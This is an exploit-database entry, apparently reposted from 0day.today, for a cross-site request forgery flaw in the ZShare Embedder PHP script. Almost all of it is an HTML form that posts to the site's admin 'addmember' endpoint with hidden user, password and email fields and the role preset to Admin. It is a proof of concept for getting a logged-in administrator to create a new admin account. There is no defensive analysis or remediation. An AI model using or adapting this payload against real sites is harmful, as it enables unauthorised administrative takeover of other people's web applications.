ZShare Embedder CSRF Vulnerability

# Exploit Title: ZShare Embedder CSRF
# Author: Jonturk75
# Vendor or Software Link: http://www.scripts.com/viewscript/zshare-embeddergrabber-scriptacula/27263/
# Category::  webapps
# Demo : http://demo.phpmymovie.com/siteadmin/
# Greetz: Inj3ct0r Exploit DataBase 1337day.com



<form method="post" name="reg_form" id="reg_form" action="siteadmin/index.php?m=members&t=addmember">
<input title="user" name="user_name" id="user_name" value="" maxlength="12" type="hidden">
<input name="user_pass" id="user_pass" value="" maxlength="12" type="hidden">
<input name="user_pass1" id="user_pass1" value="" maxlength="12" type="hidden">
<input name="user_email" id="user_email" value="" type="hidden">
<input name="user_email1" id="user_email1" value="" type="hidden">
<select name="role" id="role" size="1">
 <option value="0">User</option>
<option value="1" selected>Admin</option>
<option value="2">Super admin</option> 
</select>
<input value="Register" name="submit" class="button" onclick=" validateregForm()" type="button">
<input name="module" id="module" value="members" type="hidden">
<input name="task" id="task" value="addmember" type="hidden">
<input name="id" id="id" value="" type="hidden">
<img src="loading.gif" id="loading_img" style="display: none;">
</form>



#  0day.today [2018-02-06]  #